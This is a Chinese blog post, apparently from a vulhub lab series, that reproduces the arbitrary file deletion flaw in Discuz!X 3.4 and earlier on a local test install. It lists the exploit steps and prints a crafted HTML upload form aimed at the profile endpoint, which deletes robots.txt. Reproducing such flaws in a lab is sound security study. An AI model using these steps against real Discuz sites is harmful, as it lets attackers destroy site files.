Discuz 3.x 任意文件删除漏洞复现

最新推荐文章于 2022-05-10 14:01:35 发布

小白头发少

最新推荐文章于 2022-05-10 14:01:35 发布

阅读量2.4k

点赞数 1

分类专栏： vulhub 文章标签： web安全

本文链接：https://blog.youkuaiyun.com/qq_41048303/article/details/121751402

版权

vulhub 专栏收录该内容

10 篇文章

订阅专栏

本文详细介绍了Discuz!X 3.4版本中存在的任意文件删除漏洞，通过环境搭建、漏洞复现步骤展示了如何利用此漏洞删除指定文件。用户注册并获取formhash后，通过构造特殊的HTML表单并上传图片，可以触发文件删除操作，影响系统安全。参考链接提供了更多相关信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Discuz!X ≤3.4 任意文件删除漏洞

1.漏洞环境

执行docker-compose up -d 启动后，访问http://192.168.1.142/install来安装discuz
在这里插入图片描述

2.漏洞复现

访问http://192.168.1.142/robots.txt可见robots.txt是存在的
注册用户hahaha
在个人设置页面找到自己的formhash
带上自己的Cookie、formhash发送如下数据包
查看个人设置页面的出生地

构造upload.html,写上自己的formhash

<body>
    <form action="http://192.168.1.142/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=
[formhash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

用浏览器打开该页面，上传一个正常图片。此时脏数据应该已被提取出，漏洞已经利用结束。

再次访问http://your-ip/robots.txt，发现文件成功被删除：
在这里插入图片描述